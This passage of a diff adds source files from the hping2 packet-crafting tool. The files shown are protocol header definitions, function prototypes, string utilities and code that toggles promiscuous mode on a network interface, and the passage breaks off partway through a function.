extern char errbuf[PCAP_ERRBUF_SIZE];
|
||||||
|
extern struct pcap_pkthdr hdr;
|
||||||
|
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
|
||||||
|
|
||||||
|
#endif /* _GLOBALS_H */
|
26
hcmp.h
Normal file
26
hcmp.h
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: hcmp.h$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:47 MET 1999$
|
||||||
|
* $rev: 9$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Hping Control Message Protocol */
|
||||||
|
|
||||||
|
#define HCMP_RESTART 1
|
||||||
|
#define HCMP_SOURCE_QUENCH 2
|
||||||
|
#define HCMP_SOURCE_STIRUP 3
|
||||||
|
#define HCMP_CHPROTO 4 /* still unused */
|
||||||
|
|
||||||
|
struct hcmphdr
|
||||||
|
{
|
||||||
|
__u8 type;
|
||||||
|
union
|
||||||
|
{
|
||||||
|
__u16 seqnum;
|
||||||
|
__u32 usec;
|
||||||
|
} typedep;
|
||||||
|
};
|
497
hping2.h
Normal file
497
hping2.h
Normal file
@ -0,0 +1,497 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: hping2.h$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 9$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: hping2.h,v 1.19 2003/08/07 23:55:55 antirez Exp $ */
|
||||||
|
|
||||||
|
#ifndef _HPING2_H
|
||||||
|
#define _HPING2_H
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include "byteorder.h"
|
||||||
|
#include "systype.h"
|
||||||
|
|
||||||
|
#ifdef __sun__
|
||||||
|
typedef char int_8_t;
|
||||||
|
typedef unsigned char u_int8_t;
|
||||||
|
typedef short int_16_t;
|
||||||
|
typedef unsigned short u_int16_t;
|
||||||
|
typedef int int_32_t;
|
||||||
|
typedef unsigned int u_int32_t;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* types */
|
||||||
|
#ifndef __u8
|
||||||
|
#define __u8 u_int8_t
|
||||||
|
#endif /* __u8 */
|
||||||
|
#ifndef __u16
|
||||||
|
#define __u16 u_int16_t
|
||||||
|
#endif /* __u16 */
|
||||||
|
#ifndef __u32
|
||||||
|
#define __u32 u_int32_t
|
||||||
|
#endif /* __u32 */
|
||||||
|
|
||||||
|
#ifndef __uint8_t
|
||||||
|
#define __uint8_t u_int8_t
|
||||||
|
#endif /* __uint8_t */
|
||||||
|
#ifndef __uint16_t
|
||||||
|
#define __uint16_t u_int16_t
|
||||||
|
#endif /* __uint16_t */
|
||||||
|
#ifndef __uint32_t
|
||||||
|
#define __uint32_t u_int32_t
|
||||||
|
#endif /* __uint32_t */
|
||||||
|
|
||||||
|
#include "hcmp.h" /* Hping Control Message Protocol */
|
||||||
|
|
||||||
|
/* protocols header size */
|
||||||
|
#ifndef ICMPHDR_SIZE
|
||||||
|
#define ICMPHDR_SIZE sizeof(struct myicmphdr)
|
||||||
|
#endif
|
||||||
|
#ifndef UDPHDR_SIZE
|
||||||
|
#define UDPHDR_SIZE sizeof(struct myudphdr)
|
||||||
|
#endif
|
||||||
|
#ifndef TCPHDR_SIZE
|
||||||
|
#define TCPHDR_SIZE sizeof(struct mytcphdr)
|
||||||
|
#endif
|
||||||
|
#ifndef IPHDR_SIZE
|
||||||
|
#define IPHDR_SIZE sizeof(struct myiphdr)
|
||||||
|
#endif
|
||||||
|
#ifndef IP6HDR_SIZE
|
||||||
|
#define IP6HDR_SIZE sizeof(struct myip6hdr)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* wait X seconds after reached to sent packets in oreder to display replies */
|
||||||
|
#define COUNTREACHED_TIMEOUT 1
|
||||||
|
|
||||||
|
/* requests status table stuffs */
|
||||||
|
/* Warning, TABLESIZE 0 == floating point exception */
|
||||||
|
#define TABLESIZE 400
|
||||||
|
#define S_SENT 0
|
||||||
|
#define S_RECV 1
|
||||||
|
|
||||||
|
/* usefull defines */
|
||||||
|
#ifndef TRUE
|
||||||
|
#define TRUE 1
|
||||||
|
#define FALSE 0
|
||||||
|
#endif
|
||||||
|
#ifndef IFNAMSIZ
|
||||||
|
#define IFNAMSIZ 16
|
||||||
|
#endif
|
||||||
|
#ifndef PF_PACKET
|
||||||
|
#define PF_PACKET 17 /* kernel 2.[12].* with 2.0.* kernel headers? */
|
||||||
|
#endif
|
||||||
|
#ifndef ETH_P_IP
|
||||||
|
#define ETH_P_IP 0x0800 /* Internet Protocol packet */
|
||||||
|
#endif
|
||||||
|
#ifndef ABS
|
||||||
|
#define ABS(x) (((x)>0) ? (x) : -(x))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* header size of some physical layer type */
|
||||||
|
#define PPPHDR_SIZE_LINUX 0
|
||||||
|
#define PPPHDR_SIZE_FREEBSD 4
|
||||||
|
#define PPPHDR_SIZE_OPENBSD 4
|
||||||
|
#define PPPHDR_SIZE_NETBSD 4
|
||||||
|
#define PPPHDR_SIZE_BSDI 4
|
||||||
|
#define ETHHDR_SIZE 14
|
||||||
|
#define LOHDR_SIZE 14
|
||||||
|
#define WLANHDR_SIZE 14
|
||||||
|
#define TRHDR_SIZE 20
|
||||||
|
|
||||||
|
/* packet size (physical header size + ip header + tcp header + 0 data bytes) */
|
||||||
|
#ifndef IP_MAX_SIZE
|
||||||
|
#define IP_MAX_SIZE 65535
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* absolute offsets */
|
||||||
|
#define ABS_OFFSETIP linkhdr_size
|
||||||
|
#define ABS_OFFSETTCP ( linkhdr_size + IPHDR_SIZE )
|
||||||
|
#define ABS_OFFSETICMP ( linkhdr_size + IPHDR_SIZE )
|
||||||
|
#define ABS_OFFSETUDP ( linkhdr_size + IPHDR_SIZE )
|
||||||
|
|
||||||
|
/* defaults and misc */
|
||||||
|
#define DEFAULT_SENDINGWAIT 1 /* wait 1 sec. between sending each packets */
|
||||||
|
#define DEFAULT_DPORT 0 /* default dest. port */
|
||||||
|
#define DEFAULT_INITSPORT -1 /* default initial source port: -1 means random */
|
||||||
|
#define DEFAULT_COUNT -1 /* default packets count: -1 means forever */
|
||||||
|
#define DEFAULT_TTL 64 /* default ip->ttl value */
|
||||||
|
#define DEFAULT_SRCWINSIZE 512 /* default tcp windows size */
|
||||||
|
#define DEFAULT_VIRTUAL_MTU 16 /* tiny fragments */
|
||||||
|
#define DEFAULT_ICMP_TYPE 8 /* echo request */
|
||||||
|
#define DEFAULT_ICMP_CODE 0 /* icmp-type relative */
|
||||||
|
#define DEFAULT_ICMP_IP_VERSION 4
|
||||||
|
#define DEFAULT_ICMP_IP_IHL (IPHDR_SIZE >> 2)
|
||||||
|
#define DEFAULT_ICMP_IP_TOS 0
|
||||||
|
#define DEFAULT_ICMP_IP_TOT_LEN 0 /* computed by send_icmp_*() */
|
||||||
|
#define DEFAULT_ICMP_IP_ID 0 /* rand */
|
||||||
|
#define DEFAULT_ICMP_CKSUM -1 /* -1 means compute the cksum */
|
||||||
|
#define DEFAULT_ICMP_IP_PROTOCOL 6 /* TCP */
|
||||||
|
#define DEFAULT_RAW_IP_PROTOCOL 6 /* TCP */
|
||||||
|
#define DEFAULT_TRACEROUTE_TTL 1
|
||||||
|
|
||||||
|
#define BIND_NONE 0 /* no bind */
|
||||||
|
#define BIND_DPORT 1 /* bind destination port */
|
||||||
|
#define BIND_TTL 2 /* bind ip->ttl */
|
||||||
|
#define DEFAULT_BIND BIND_DPORT
|
||||||
|
|
||||||
|
/* fragmentation defines */
|
||||||
|
#define MF ((unsigned short)0x2000) /* more fragments */
|
||||||
|
#define DF ((unsigned short)0x4000) /* dont fragment */
|
||||||
|
#define NF ((unsigned short)0x0000) /* no more fragments */
|
||||||
|
|
||||||
|
/* ip options defines */
|
||||||
|
#define IPOPT_COPY 0x80
|
||||||
|
#define IPOPT_CLASS_MASK 0x60
|
||||||
|
#define IPOPT_NUMBER_MASK 0x1f
|
||||||
|
|
||||||
|
#define IPOPT_COPIED(o) ((o)&IPOPT_COPY)
|
||||||
|
#define IPOPT_CLASS(o) ((o)&IPOPT_CLASS_MASK)
|
||||||
|
#define IPOPT_NUMBER(o) ((o)&IPOPT_NUMBER_MASK)
|
||||||
|
|
||||||
|
#define IPOPT_CONTROL 0x00
|
||||||
|
#define IPOPT_RESERVED1 0x20
|
||||||
|
#define IPOPT_MEASUREMENT 0x40
|
||||||
|
#define IPOPT_RESERVED2 0x60
|
||||||
|
|
||||||
|
#define IPOPT_END (0 |IPOPT_CONTROL)
|
||||||
|
#define IPOPT_NOOP (1 |IPOPT_CONTROL)
|
||||||
|
#define IPOPT_SEC (2 |IPOPT_CONTROL|IPOPT_COPY)
|
||||||
|
#define IPOPT_LSRR (3 |IPOPT_CONTROL|IPOPT_COPY)
|
||||||
|
#define IPOPT_TIMESTAMP (4 |IPOPT_MEASUREMENT)
|
||||||
|
#define IPOPT_RR (7 |IPOPT_CONTROL)
|
||||||
|
#define IPOPT_SID (8 |IPOPT_CONTROL|IPOPT_COPY)
|
||||||
|
#define IPOPT_SSRR (9 |IPOPT_CONTROL|IPOPT_COPY)
|
||||||
|
#define IPOPT_RA (20|IPOPT_CONTROL|IPOPT_COPY)
|
||||||
|
|
||||||
|
#define IPOPT_OPTVAL 0
|
||||||
|
#define IPOPT_OLEN 1
|
||||||
|
#define IPOPT_OFFSET 2
|
||||||
|
#define IPOPT_MINOFF 4
|
||||||
|
#define MAX_IPOPTLEN 40
|
||||||
|
#define IPOPT_NOP IPOPT_NOOP
|
||||||
|
#define IPOPT_EOL IPOPT_END
|
||||||
|
#define IPOPT_TS IPOPT_TIMESTAMP
|
||||||
|
|
||||||
|
#define IPOPT_TS_TSONLY 0 /* timestamps only */
|
||||||
|
#define IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */
|
||||||
|
#define IPOPT_TS_PRESPEC 3 /* specified modules only */
|
||||||
|
|
||||||
|
/* tcp flags */
|
||||||
|
#ifndef TH_FIN
|
||||||
|
#define TH_FIN 0x01
|
||||||
|
#endif
|
||||||
|
#ifndef TH_SYN
|
||||||
|
#define TH_SYN 0x02
|
||||||
|
#endif
|
||||||
|
#ifndef TH_RST
|
||||||
|
#define TH_RST 0x04
|
||||||
|
#endif
|
||||||
|
#ifndef TH_PUSH
|
||||||
|
#define TH_PUSH 0x08
|
||||||
|
#endif
|
||||||
|
#ifndef TH_ACK
|
||||||
|
#define TH_ACK 0x10
|
||||||
|
#endif
|
||||||
|
#ifndef TH_URG
|
||||||
|
#define TH_URG 0x20
|
||||||
|
#endif
|
||||||
|
#ifndef TH_X
|
||||||
|
#define TH_X 0x40 /* X tcp flag */
|
||||||
|
#endif
|
||||||
|
#ifndef TH_Y
|
||||||
|
#define TH_Y 0x80 /* Y tcp flag */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ICMP TYPE */
|
||||||
|
#define ICMP_ECHOREPLY 0 /* Echo Reply */
|
||||||
|
#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */
|
||||||
|
#define ICMP_SOURCE_QUENCH 4 /* Source Quench */
|
||||||
|
#define ICMP_REDIRECT 5 /* Redirect (change route) */
|
||||||
|
#define ICMP_ECHO 8 /* Echo Request */
|
||||||
|
#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
|
||||||
|
#define ICMP_PARAMETERPROB 12 /* Parameter Problem */
|
||||||
|
#define ICMP_TIMESTAMP 13 /* Timestamp Request */
|
||||||
|
#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
|
||||||
|
#define ICMP_INFO_REQUEST 15 /* Information Request */
|
||||||
|
#define ICMP_INFO_REPLY 16 /* Information Reply */
|
||||||
|
#define ICMP_ADDRESS 17 /* Address Mask Request */
|
||||||
|
#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
|
||||||
|
|
||||||
|
#define ICMP6_DEST_UNREACH 1
|
||||||
|
#define ICMP6_PACK_TOOBIG 2
|
||||||
|
#define ICMP6_TIME_EXCEEDED 3
|
||||||
|
#define ICMP6_PARAMETERPROB 4
|
||||||
|
#define ICMP6_ECHO 128
|
||||||
|
#define ICMP6_ECHOREPLY 129
|
||||||
|
|
||||||
|
|
||||||
|
/* Codes for UNREACHABLE */
|
||||||
|
#define ICMP_NET_UNREACH 0 /* Network Unreachable */
|
||||||
|
#define ICMP_HOST_UNREACH 1 /* Host Unreachable */
|
||||||
|
#define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */
|
||||||
|
#define ICMP_PORT_UNREACH 3 /* Port Unreachable */
|
||||||
|
#define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */
|
||||||
|
#define ICMP_SR_FAILED 5 /* Source Route failed */
|
||||||
|
#define ICMP_NET_UNKNOWN 6
|
||||||
|
#define ICMP_HOST_UNKNOWN 7
|
||||||
|
#define ICMP_HOST_ISOLATED 8
|
||||||
|
#define ICMP_NET_ANO 9
|
||||||
|
#define ICMP_HOST_ANO 10
|
||||||
|
#define ICMP_NET_UNR_TOS 11
|
||||||
|
#define ICMP_HOST_UNR_TOS 12
|
||||||
|
#define ICMP_PKT_FILTERED 13 /* Packet filtered */
|
||||||
|
#define ICMP_PREC_VIOLATION 14 /* Precedence violation */
|
||||||
|
#define ICMP_PREC_CUTOFF 15 /* Precedence cut off */
|
||||||
|
#define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */
|
||||||
|
|
||||||
|
/* Codes for REDIRECT */
|
||||||
|
#define ICMP_REDIR_NET 0 /* Redirect Net */
|
||||||
|
#define ICMP_REDIR_HOST 1 /* Redirect Host */
|
||||||
|
#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
|
||||||
|
#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */
|
||||||
|
|
||||||
|
/* Codes for TIME_EXCEEDED */
|
||||||
|
#define ICMP_EXC_TTL 0 /* TTL count exceeded */
|
||||||
|
#define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* IP header
|
||||||
|
*/
|
||||||
|
struct myiphdr {
|
||||||
|
#if defined(__LITTLE_ENDIAN_BITFIELD)
|
||||||
|
__u8 ihl:4,
|
||||||
|
version:4;
|
||||||
|
#elif defined (__BIG_ENDIAN_BITFIELD)
|
||||||
|
__u8 version:4,
|
||||||
|
ihl:4;
|
||||||
|
#else
|
||||||
|
#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND"
|
||||||
|
#endif
|
||||||
|
__u8 tos;
|
||||||
|
__u16 tot_len;
|
||||||
|
__u16 id;
|
||||||
|
__u16 frag_off;
|
||||||
|
__u8 ttl;
|
||||||
|
__u8 protocol;
|
||||||
|
__u16 check;
|
||||||
|
__u32 saddr;
|
||||||
|
__u32 daddr;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct myip6hdr {
|
||||||
|
#if defined(__LITTLE_ENDIAN_BITFIELD)
|
||||||
|
__u8 tc1:4,
|
||||||
|
version:4;
|
||||||
|
__u8 flowlabel1:4,
|
||||||
|
tc2:4;
|
||||||
|
__u16 flowlabel2;
|
||||||
|
#elif defined (__BIG_ENDIAN_BITFIELD)
|
||||||
|
/* __u32 version:4,
|
||||||
|
tc:8
|
||||||
|
flowlabel:20;*/
|
||||||
|
__u8 version:4,
|
||||||
|
tc1:4;
|
||||||
|
__u8 tc2:4,
|
||||||
|
flowlabel1:4;
|
||||||
|
__u16 flowlabel2;
|
||||||
|
#else
|
||||||
|
#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND"
|
||||||
|
#endif
|
||||||
|
__u16 paylen;
|
||||||
|
__u8 nextheader;
|
||||||
|
__u8 hoplimit;
|
||||||
|
__u8 saddr[16];
|
||||||
|
__u8 daddr[16];
|
||||||
|
};
|
||||||
|
|
||||||
|
/*
|
||||||
|
* UDP header
|
||||||
|
*/
|
||||||
|
struct myudphdr {
|
||||||
|
__u16 uh_sport; /* source port */
|
||||||
|
__u16 uh_dport; /* destination port */
|
||||||
|
__u16 uh_ulen; /* udp length */
|
||||||
|
__u16 uh_sum; /* udp checksum */
|
||||||
|
};
|
||||||
|
|
||||||
|
/*
|
||||||
|
* TCP header.
|
||||||
|
* Per RFC 793, September, 1981.
|
||||||
|
*/
|
||||||
|
struct mytcphdr {
|
||||||
|
__u16 th_sport; /* source port */
|
||||||
|
__u16 th_dport; /* destination port */
|
||||||
|
__u32 th_seq; /* sequence number */
|
||||||
|
__u32 th_ack; /* acknowledgement number */
|
||||||
|
#if defined (__LITTLE_ENDIAN_BITFIELD)
|
||||||
|
__u8 th_x2:4, /* (unused) */
|
||||||
|
th_off:4; /* data offset */
|
||||||
|
#elif defined (__BIG_ENDIAN_BITFIELD)
|
||||||
|
__u8 th_off:4, /* data offset */
|
||||||
|
th_x2:4; /* (unused) */
|
||||||
|
#else
|
||||||
|
#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND"
|
||||||
|
#endif
|
||||||
|
__u8 th_flags;
|
||||||
|
__u16 th_win; /* window */
|
||||||
|
__u16 th_sum; /* checksum */
|
||||||
|
__u16 th_urp; /* urgent pointer */
|
||||||
|
};
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ICMP header
|
||||||
|
*/
|
||||||
|
struct myicmphdr
|
||||||
|
{
|
||||||
|
__u8 type;
|
||||||
|
__u8 code;
|
||||||
|
__u16 checksum;
|
||||||
|
union
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
__u16 id;
|
||||||
|
__u16 sequence;
|
||||||
|
} echo;
|
||||||
|
__u32 gateway;
|
||||||
|
__u32 mtu;
|
||||||
|
} un;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct icmp_tstamp_data {
|
||||||
|
__u32 orig;
|
||||||
|
__u32 recv;
|
||||||
|
__u32 tran;
|
||||||
|
};
|
||||||
|
|
||||||
|
/*
|
||||||
|
* UDP/TCP pseudo header
|
||||||
|
* for cksum computing
|
||||||
|
*/
|
||||||
|
struct pseudohdr
|
||||||
|
{
|
||||||
|
__u32 saddr;
|
||||||
|
__u32 daddr;
|
||||||
|
__u8 zero;
|
||||||
|
__u8 protocol;
|
||||||
|
__u16 lenght;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct pseudohdr6
|
||||||
|
{
|
||||||
|
__u8 saddr[16];
|
||||||
|
__u8 daddr[16];
|
||||||
|
__u16 lenght;
|
||||||
|
__u16 zero1;
|
||||||
|
__u8 zero2;
|
||||||
|
__u8 protocol;
|
||||||
|
};
|
||||||
|
|
||||||
|
#define PSEUDOHDR_SIZE sizeof(struct pseudohdr)
|
||||||
|
#define PSEUDOHDR6_SIZE sizeof(struct pseudohdr6)
|
||||||
|
|
||||||
|
/*
|
||||||
|
* hping replies delay table
|
||||||
|
*/
|
||||||
|
struct delaytable_element {
|
||||||
|
int seq;
|
||||||
|
int src;
|
||||||
|
time_t sec;
|
||||||
|
time_t usec;
|
||||||
|
int status;
|
||||||
|
};
|
||||||
|
|
||||||
|
volatile struct delaytable_element delaytable[TABLESIZE];
|
||||||
|
|
||||||
|
/* protos */
|
||||||
|
void nop(void); /* nop */
|
||||||
|
int parse_options(int, char**); /* option parser */
|
||||||
|
int get_if_name(void); /* get interface (see source) */
|
||||||
|
int get_linkhdr_size(char*); /* get link layer hdr size */
|
||||||
|
int open_sockpacket(void); /* open SOCK_PACKET socket */
|
||||||
|
int close_sockpacket(int); /* close SOCK_PACKET socket */
|
||||||
|
int open_sockraw(void); /* open raw socket */
|
||||||
|
void send_packet (int signal_id);
|
||||||
|
void send_rawip (void);
|
||||||
|
void send_tcp(void);
|
||||||
|
void send_udp(void);
|
||||||
|
void send_icmp(void);
|
||||||
|
void send_hcmp(__u8 type, __u32 arg); /* send hcmp packets */
|
||||||
|
void send_ip (char*, char*, char*, unsigned int, int, unsigned short,
|
||||||
|
char*, char);
|
||||||
|
void send_ip_handler(char *packet, unsigned int size); /* fragmentation
|
||||||
|
handler */
|
||||||
|
void wait_packet(void); /* handle incoming packets */
|
||||||
|
void print_statistics(int);
|
||||||
|
void show_usage(void);
|
||||||
|
void show_version(void);
|
||||||
|
void resolve(struct sockaddr*, char*); /* resolver */
|
||||||
|
void log_icmp_unreach(const char*, unsigned short);/* ICMP unreachable logger */
|
||||||
|
void log_icmp_timeexc(const char*, unsigned short);/* ICMP time exceeded logger */
|
||||||
|
time_t get_usec(void); /* return current usec */
|
||||||
|
time_t get_midnight_ut_ms(void); /* ms from UT midnight */
|
||||||
|
__u16 cksum(__u16 *buf, int nwords); /* compute 16bit checksum */
|
||||||
|
void inc_destparm(int sid); /* inc dst port or ttl */
|
||||||
|
char *get_hostname(const char*); /* get host from addr */
|
||||||
|
void datafiller(char *p, int size); /* fill data from file */
|
||||||
|
void data_handler(char *data, int data_size);/* handle data filling */
|
||||||
|
void socket_broadcast(int sd); /* set SO_BROADCAST option */
|
||||||
|
void socket_iphdrincl(int sd); /* set SO_IPHDRINCL option */
|
||||||
|
void listenmain(void); /* main for listen mode */
|
||||||
|
char *memstr(char *haystack, char *needle, int size); /* memstr */
|
||||||
|
void tos_help(void); /* show the TOS help */
|
||||||
|
int rtt(int *seqp, int recvport, float *ms_delay); /* compute round trip time */
|
||||||
|
int relativize_id(int seqnum, int *ip_id); /* compute relative id */
|
||||||
|
int if_promisc_on(int s); /* promisc. mode ON */
|
||||||
|
int if_promisc_off(int s); /* promisc. mode OFF */
|
||||||
|
int open_pcap(void); /* open libpcap socket */
|
||||||
|
int close_pcap(void); /* close libpcap socket */
|
||||||
|
int pcap_recv(char *, unsigned int); /* libpcap api wrapper */
|
||||||
|
int memlock(char *addr, size_t size); /* disable paging */
|
||||||
|
int memunlock(char *addr, size_t size); /* enable paging */
|
||||||
|
int memlockall(void); /* disable paging (all pages) */
|
||||||
|
int memunlockall(void); /* enable paging (all pages) */
|
||||||
|
unsigned char ip_opt_build(char *ip_opt); /* build ip options */
|
||||||
|
void display_ipopt(char* buf); /* display ip options */
|
||||||
|
void icmp_help(void); /* show the ICMP help */
|
||||||
|
void route_help(void); /* show the route help */
|
||||||
|
void (*Signal(int signo, void (*func)(int)))(int);
|
||||||
|
void delaytable_add(int seq, int src, time_t sec, time_t usec, int status);
|
||||||
|
int read_packet(void *packet, int size);
|
||||||
|
void scanmain(void);
|
||||||
|
u_int32_t hp_rand(void);
|
||||||
|
struct in6_addr ipv6_rand(char *net,int prefixlen);
|
||||||
|
#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \
|
||||||
|
!defined(__bsdi__) && !defined(__APPLE__)
|
||||||
|
size_t strlcpy(char *dst, const char *src, size_t siz);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ARS glue */
|
||||||
|
void hping_ars_send(char *s);
|
||||||
|
|
||||||
|
struct SOCKADDR
|
||||||
|
{
|
||||||
|
__u8 data[50];
|
||||||
|
};
|
||||||
|
|
||||||
|
#define ADDR(x) ({ \
|
||||||
|
void *tmp; \
|
||||||
|
if(opt_ipv6) \
|
||||||
|
tmp=&((struct sockaddr_in6*)(x))->sin6_addr; \
|
||||||
|
else \
|
||||||
|
tmp=&((struct sockaddr_in*)(x))->sin_addr; \
|
||||||
|
tmp; \
|
||||||
|
})
|
||||||
|
#define ADDR4(x) (((struct sockaddr_in*)(x))->sin_addr)
|
||||||
|
#define ADDR6(x) (((struct sockaddr_in6*)(x))->sin6_addr)
|
||||||
|
#define ADDRCMP(x,y) (memcmp(ADDR(x),ADDR(y),opt_ipv6?16:4))
|
||||||
|
|
||||||
|
#endif /* _HPING2_H */
|
80
hstring.c
Normal file
80
hstring.c
Normal file
@ -0,0 +1,80 @@
|
|||||||
|
/* hstring.c - Random string-related functions for hping.
|
||||||
|
* Copyright(C) 2003 Salvatore Sanfilippo
|
||||||
|
* All rights reserved */
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
/* return 1 if the string looks like an integer number
|
||||||
|
* otherwise 0 is returned.
|
||||||
|
*
|
||||||
|
* this function is equivalent to this regexp:
|
||||||
|
* [:space:]*-{0,1}[0-9]+[:space:]*
|
||||||
|
* in english:
|
||||||
|
* (0-inf spaces)(zero or one -)(1-inf digits)(0-inf spaces)
|
||||||
|
*/
|
||||||
|
int strisnum(char *s)
|
||||||
|
{
|
||||||
|
int digits = 0; /* used to return false if there aren't digits */
|
||||||
|
|
||||||
|
while(isspace(*s))
|
||||||
|
s++; /* skip initial spaces */
|
||||||
|
if (*s == '-') /* negative number? */
|
||||||
|
s++;
|
||||||
|
while(*s) {
|
||||||
|
if (isspace(*s)) { /* skip spaces in the tail */
|
||||||
|
while(isspace(*s))
|
||||||
|
s++;
|
||||||
|
if (*s) return 0; /* but don't allow other tail chars */
|
||||||
|
return digits ? 1 : 0;
|
||||||
|
}
|
||||||
|
if (!isdigit(*s))
|
||||||
|
return 0;
|
||||||
|
s++;
|
||||||
|
digits++;
|
||||||
|
}
|
||||||
|
return digits ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* function similar to strtok() more convenient when we know the
|
||||||
|
* max number of tokens, to tokenize with a single call.
|
||||||
|
* Unlike strtok(), strftok() is thread safe.
|
||||||
|
*
|
||||||
|
* ARGS:
|
||||||
|
* 'sep' is a string that contains all the delimiter characters
|
||||||
|
* 'str' is the string to tokenize, that will be modified
|
||||||
|
* 'tptrs' is an array of char* poiters that will contain the token pointers
|
||||||
|
* 'nptrs' is the length of the 'tptrs' array.
|
||||||
|
*
|
||||||
|
* RETURN VALUE:
|
||||||
|
* The number of extracted tokens is returned.
|
||||||
|
*/
|
||||||
|
size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs)
|
||||||
|
{
|
||||||
|
size_t seplen = strlen(sep);
|
||||||
|
size_t i, j = 0;
|
||||||
|
int inside = 0;
|
||||||
|
|
||||||
|
while(*str) {
|
||||||
|
for(i = 0; i < seplen; i++) {
|
||||||
|
if (sep[i] == *str)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (i == seplen) { /* no match */
|
||||||
|
if (!inside) {
|
||||||
|
tptrs[j++] = str;
|
||||||
|
inside = 1;
|
||||||
|
}
|
||||||
|
} else { /* match */
|
||||||
|
if (inside) {
|
||||||
|
*str = '\0';
|
||||||
|
if (j == nptrs)
|
||||||
|
return j;
|
||||||
|
inside = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
str++;
|
||||||
|
}
|
||||||
|
return j;
|
||||||
|
}
|
7
hstring.h
Normal file
7
hstring.h
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
#ifndef HPING_HSTRNIG_H
|
||||||
|
#define HPING_HSTRING_H
|
||||||
|
|
||||||
|
int strisnum(char *s);
|
||||||
|
size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs);
|
||||||
|
|
||||||
|
#endif
|
60
if_promisc.c
Normal file
60
if_promisc.c
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: if_promisc.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:48 MET 1999$
|
||||||
|
* $rev: 2$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <net/if.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
int if_promisc_on(int s)
|
||||||
|
{
|
||||||
|
struct ifreq ifr;
|
||||||
|
|
||||||
|
strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
|
||||||
|
if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
|
||||||
|
perror("[open_sockpacket] ioctl(SIOCGIFFLAGS)");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!(ifr.ifr_flags & IFF_PROMISC)) {
|
||||||
|
ifr.ifr_flags |= IFF_PROMISC;
|
||||||
|
if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
|
||||||
|
perror("[open_sockpacket] ioctl(SIOCSIFFLAGS)");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int if_promisc_off(int s)
|
||||||
|
{
|
||||||
|
struct ifreq ifr;
|
||||||
|
|
||||||
|
strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
|
||||||
|
if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
|
||||||
|
perror("[open_sockpacket] ioctl(SIOCGIFFLAGS)");
|
||||||
|
return -1;
|
||||||
|
}
